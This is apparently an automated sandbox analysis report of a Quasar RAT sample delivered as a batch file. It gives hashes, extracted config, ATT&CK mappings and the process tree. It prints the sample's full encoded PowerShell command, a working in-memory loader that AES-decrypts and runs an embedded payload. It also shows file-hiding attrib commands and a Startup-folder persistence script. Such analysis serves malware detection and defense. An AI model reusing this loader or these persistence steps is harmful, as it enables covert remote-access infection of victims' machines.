quasar | 314b95c7d4db2861469d8cfad6bb4bd85e3519781469f8afccea3450e7ed153a

Analysis

user interaction
yes
max time kernel
24s
max time network
32s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260618-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
29/06/2026, 13:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Uni.bat
Size 8.7MB
Sample260629-qs6zzaev8y
SHA256 314b95c7d4db2861469d8cfad6bb4bd85e3519781469f8afccea3450e7ed153a
MD5 ce2fa539f6598a57cdf48504c3ef4147
SHA1 ae2235249c8ac74edc3506568340a5df9b8e7d65
SHA512 1b52c697847f19b052cbfe44a521a372306e9ebd60a6dc20ee40b1ceb2e9e8c4acf74ea865b0786daeea86864064c474669ec1e3fac83892103b4cd66f1c7d68
SSDEEP 49152:bX6CheChVJ6hkC2XVhQzhVJ6q7qiN2iNJFqNcie7JNAvNJFqExy+yBn6HQbUuaPd:l
TLSH
T19496232F8F28453FC3F8122860FF1B5B69E449858070EFA061E6A8D3979BD0751E5B6D
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery quasar spyware trojan

Malware Config

Extracted

Family

quasar

Attributes

key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
reconnect_delay
3000
subdirectory

Signatures

Family: Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral1/memory/5164-17-0x000002A37EC30000-0x000002A37EF7C000-memory.dmp	family_quasar

Executes dropped EXE 1 IoCs

pid	Process
5164	Uni.bat.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
5308	PING.EXE
5764	PING.EXE

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
5308	PING.EXE
5764	PING.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5164	Uni.bat.exe
5164	Uni.bat.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5164	Uni.bat.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 5344 wrote to memory of 5928	5344	cmd.exe	90
PID 5344 wrote to memory of 5308	5344	cmd.exe	91
PID 5344 wrote to memory of 5764	5344	cmd.exe	92
PID 5344 wrote to memory of 5164	5344	cmd.exe	93

Views/modifies file attributes 1 TTPs 11 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2644	attrib.exe
5320	attrib.exe
2132	attrib.exe
2512	attrib.exe
1980	attrib.exe
3824	attrib.exe
4600	attrib.exe
1412	attrib.exe
3360	attrib.exe
2524	attrib.exe
5464	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Uni.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:5344
- C:\Windows\system32\fltMC.exe
  fltmc
  2⤵
  PID:5928
- C:\Windows\system32\PING.EXE
  ping -n 3 127.0.0.1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:5308
- C:\Windows\system32\PING.EXE
  ping -n 2 127.0.0.1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:5764
- C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe
  "Uni.bat.exe" -noprofile -windowstyle hidden -ep bypass -EncodedCommand JABiAGEAdABQAGEAdABoACAAPQAgACQAZQBuAHYAOgBTAFgAUgBfAEIAQQBUAAoAaQBmACAAKAAtAG4AbwB0ACAAJABiAGEAdABQAGEAdABoACkAIAB7ACAAdABoAHIAbwB3ACAAJwBiAGEAdABjAGgAIABwAGEAdABoACAAbQBpAHMAcwBpAG4AZwAnACAAfQAKACQAYwBoAEsASgBuACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6ACgAJwB0AHgAZQBUAGwAbABBAGQAYQBlAFIAJwBbAC0AMQAuAC4ALQAxADEAXQAgAC0AagBvAGkAbgAgACcAJwApACgAJABiAGEAdABQAGEAdABoACkALgBTAHAAbABpAHQAKABbAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABdADoAOgBOAGUAdwBMAGkAbgBlACkACgAkAGsAZwB1AHYAawAgAD0AIAAkAG4AdQBsAGwACgBmAG8AcgBlAGEAYwBoACAAKAAkAFUARQBnAEkATQAgAGkAbgAgACQAYwBoAEsASgBuACkAIAB7ACAAaQBmACAAKAAkAFUARQBnAEkATQAuAFMAdABhAHIAdABzAFcAaQB0AGgAKAAnADoAOgAgACcAKQApACAAewAgACQAawBnAHUAdgBrACAAPQAgACQAVQBFAGcASQBNAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAzACkAIAB9ACAAfQAKAGkAZgAgACgALQBuAG8AdAAgACQAawBnAHUAdgBrACkAIAB7ACAAdABoAHIAbwB3ACAAJwBzAHQAdQBiACAAbABpAG4AZQAgAG0AaQBzAHMAaQBuAGcAJwAgAH0ACgAkAGwAZgBuAE0AaAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgAoACcAZwBuAGkAcgB0AFMANAA2AGUAcwBhAEIAbQBvAHIARgAnAFsALQAxAC4ALgAtADEANgBdACAALQBqAG8AaQBuACAAJwAnACkAKAAkAGsAZwB1AHYAawAuAFQAcgBpAG0AKAApACkACgAkAHAAagBlAEEAQwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAE0AYQBuAGEAZwBlAGQACgAkAHAAagBlAEEAQwAuAE0AbwBkAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQwBpAHAAaABlAHIATQBvAGQAZQBdADoAOgBDAEIAQwAKACQAcABqAGUAQQBDAC4AUABhAGQAZABpAG4AZwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAGEAZABkAGkAbgBnAE0AbwBkAGUAXQA6ADoAUABLAEMAUwA3AAoAJABwAGoAZQBBAEMALgBLAGUAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgAoACcAZwBuAGkAcgB0AFMANAA2AGUAcwBhAEIAbQBvAHIARgAnAFsALQAxAC4ALgAtADEANgBdACAALQBqAG8AaQBuACAAJwAnACkAKAAnADEAWAA2AHAAWQBtAEEAYQBSAHQAdQBXAEIAcwBzAHIAaAAwAFkANwB0AFMASQBQAGgAbgA3AG0AUwB0AE0ARwB5AHoASABVAFUAMwBxADEAQgBPAFUAPQAnACkACgAkAHAAagBlAEEAQwAuAEkAVgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgAoACcAZwBuAGkAcgB0AFMANAA2AGUAcwBhAEIAbQBvAHIARgAnAFsALQAxAC4ALgAtADEANgBdACAALQBqAG8AaQBuACAAJwAnACkAKAAnAGMAMABvAGcAaABMAGkAQgBiAHcAagBGAFEANAB1AHUAZwAvAHMAQwA4AGcAPQA9ACcAKQAKACQAUgBsAEsAVwBEACAAPQAgACQAcABqAGUAQQBDAC4AQwByAGUAYQB0AGUARABlAGMAcgB5AHAAdABvAHIAKAApAAoAJABsAGYAbgBNAGgAIAA9ACAAJABSAGwASwBXAEQALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABsAGYAbgBNAGgALAAgADAALAAgACQAbABmAG4ATQBoAC4ATABlAG4AZwB0AGgAKQAKACQAUgBsAEsAVwBEAC4ARABpAHMAcABvAHMAZQAoACkACgAkAHAAagBlAEEAQwAuAEQAaQBzAHAAbwBzAGUAKAApAAoAJABaAGMAUwBxAFoAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAsACQAbABmAG4ATQBoACkACgAkAEgAQgBOAEYAWgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKACQAZQB0AEgAdABIACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAWgBpAHAAUwB0AHIAZQBhAG0AKAAkAFoAYwBTAHEAWgAsACAAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkACgAkAGUAdABIAHQASAAuAEMAbwBwAHkAVABvACgAJABIAEIATgBGAFoAKQAKACQAZQB0AEgAdABIAC4ARABpAHMAcABvAHMAZQAoACkACgAkAFoAYwBTAHEAWgAuAEQAaQBzAHAAbwBzAGUAKAApAAoAJABIAEIATgBGAFoALgBEAGkAcwBwAG8AcwBlACgAKQAKACQAbABmAG4ATQBoACAAPQAgACQASABCAE4ARgBaAC4AVABvAEEAcgByAGEAeQAoACkACgAkAEIARABLAGsAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgAoACcAZABhAG8ATAAnAFsALQAxAC4ALgAtADQAXQAgAC0AagBvAGkAbgAgACcAJwApACgAJABsAGYAbgBNAGgAKQAKACQAagBvAHgAdwBMACAAPQAgACQAQgBEAEsAawBzAC4ARQBuAHQAcgB5AFAAbwBpAG4AdAAKACQAagBvAHgAdwBMAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgAEAAKAAsAFsAcwB0AHIAaQBuAGcAWwBdAF0AQAAoACkAKQApAAoA
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5164
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +H +S "C:\Users\Admin\AppData\Roaming\$sxr-seroxen1"
    3⤵
    - Views/modifies file attributes
    PID:4600
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +H +S "C:\Users\Admin\AppData\Roaming\$sxr-seroxen1\$sxr-cmd.bat"
    3⤵
    - Views/modifies file attributes
    PID:2524
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +H +S "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$sxr-seroxen.vbs"
    3⤵
    - Views/modifies file attributes
    PID:2644
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +H +S "C:\Users\Admin\AppData\Roaming\$sxr-Logs"
    3⤵
    - Views/modifies file attributes
    PID:1412
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +H +S "C:\Users\Admin\AppData\Roaming\$sxr-seroxen1"
    3⤵
    - Views/modifies file attributes
    PID:5320
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +H +S "C:\Users\Admin\AppData\Roaming\$sxr-seroxen1\$sxr-cmd.bat"
    3⤵
    - Views/modifies file attributes
    PID:2132
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +H +S "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$sxr-seroxen.vbs"
    3⤵
    - Views/modifies file attributes
    PID:3360
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +H +S "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$sxr-seroxen.vbs"
    3⤵
    - Views/modifies file attributes
    PID:2512
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +H +S "C:\Users\Admin\AppData\Roaming\$sxr-Logs"
    3⤵
    - Views/modifies file attributes
    PID:1980
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +H +S "C:\Users\Admin\AppData\Roaming\$sxr-seroxen1"
    3⤵
    - Views/modifies file attributes
    PID:5464
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +H +S "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$sxr-seroxen.vbs"
    3⤵
    - Views/modifies file attributes
    PID:3824

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Remote System Discovery

T1018

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

SXR-debug.txt

Path C:\Users\Admin\AppData\Local\Temp\SXR-debug.txt
Size 2KB
SHA256 d0f71e5e93f01ded6ccfe4dcb18c0fc049dee8bf4f207411e84b7049df3d55e5
MD5 59efe2b74d7d5f94ada91cf559d0f981
SHA1 ab7d311e543f453daed58cbad7b23ded73fe8115
SHA512 9b6a2b52137594a01d94bddee3a11651d539d323e94f94e36ae32240ccf2085239fbfa5984c02f4e577710965bc46717c6e91432e59736f453e3019f84b5306d
TLSH
T1FB51C0D426D3494FD9E292571B72E60C81AAC099DE45B698FB096FCC3405C0CB9AF0EF
MD5 SHA1 SHA512 TLSH

Submit Download

Uni.bat.exe

Path C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe
Size 444KB
SHA256 d3b4b97c2bf97d70e5655ff4c4ca1d8cef9ded51685cfd764247cfda98ee68df
MD5 909a2eec5534f01dff87b7d47e57bff7
SHA1 bb26646b094923f080fc2f2ba363c4c28b33dc07
SHA512 5b5b632eb93d227f81960916d13dd98c6f9cb0494866ceb324e6146254818f323537c39c2b90abc6496aad4b457c0b9b393301ea51157e9f823bd4cd442371dc
SSDEEP 6144:wCo5Sh1yzMWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:w6pW2KXzJ4pdd3klnnWosPhnzq
TLSH
T1C5A45A876BD412D5EC3EC435C82344520721BCB9D791A7EB9AD8F2390E712D09E3EA67
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_44asuiqn.4y0.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_44asuiqn.4y0.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

$sxr-seroxen.vbs

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$sxr-seroxen.vbs
Size 659B
SHA256 36cde62b12949933efc4fcbce738eade8a82dbf746c1ee60d4f2de795ec68370
MD5 8049293460648d8208fbb5d4c2b6f501
SHA1 20956e3a3fcb6f52167b79425676a01046b45b2d
SHA512 2a33c280661176d1ff52d283cb548b5f93a69a8015858ec5d7c121ffd9355c483d71feaab29793863229403b221d19a23e52d9b90d67b83d08bbfd52e5c635ef
TLSH
T10801DD130B409B5CF9998DD098CF020F21F2C923796D0148A3F216A22C3F8E96230631
MD5 SHA1 SHA512 TLSH

Submit Download

memory/5164-17-0x000002A37EC30000-0x000002A37EF7C000-memory.dmp

Download

memory/5164-20-0x00007FFFD82C0000-0x00007FFFD8C64000-memory.dmp

Download

memory/5164-11-0x00007FFFD82C0000-0x00007FFFD8C64000-memory.dmp

Download

memory/5164-12-0x00007FFFD82C0000-0x00007FFFD8C64000-memory.dmp

Download

memory/5164-13-0x00007FFFD82C0000-0x00007FFFD8C64000-memory.dmp

Download

memory/5164-14-0x00007FFFD82C0000-0x00007FFFD8C64000-memory.dmp

Download

memory/5164-16-0x000002A37EAF0000-0x000002A37EC2E000-memory.dmp

Download

memory/5164-15-0x00007FFFD82C0000-0x00007FFFD8C64000-memory.dmp

Download

memory/5164-8-0x000002A37E7E0000-0x000002A37E802000-memory.dmp

Download

memory/5164-18-0x00007FFFD82C0000-0x00007FFFD8C64000-memory.dmp

Download

memory/5164-19-0x00007FFFD82C0000-0x00007FFFD8C64000-memory.dmp

Download

memory/5164-10-0x00007FFFD82C0000-0x00007FFFD8C64000-memory.dmp

Download

memory/5164-21-0x00007FFFD82C0000-0x00007FFFD8C64000-memory.dmp

Download

memory/5164-22-0x00007FFFD82C0000-0x00007FFFD8C64000-memory.dmp

Download

memory/5164-23-0x00007FFFD82C0000-0x00007FFFD8C64000-memory.dmp

Download

memory/5164-24-0x00007FFFD82C0000-0x00007FFFD8C64000-memory.dmp

Download

memory/5164-25-0x00007FFFD82C0000-0x00007FFFD8C64000-memory.dmp

Download

memory/5164-2-0x00007FFFD82C0000-0x00007FFFD8C64000-memory.dmp

Download

memory/5164-66-0x000002A37FF80000-0x000002A380032000-memory.dmp

Download

memory/5164-67-0x000002A380210000-0x000002A3803D2000-memory.dmp

Download

memory/5164-65-0x000002A37F000000-0x000002A37F050000-memory.dmp

Download

memory/5164-1-0x00007FFFD844F000-0x00007FFFD8450000-memory.dmp

Download

memory/5164-69-0x00007FFFD82C0000-0x00007FFFD8C64000-memory.dmp

Download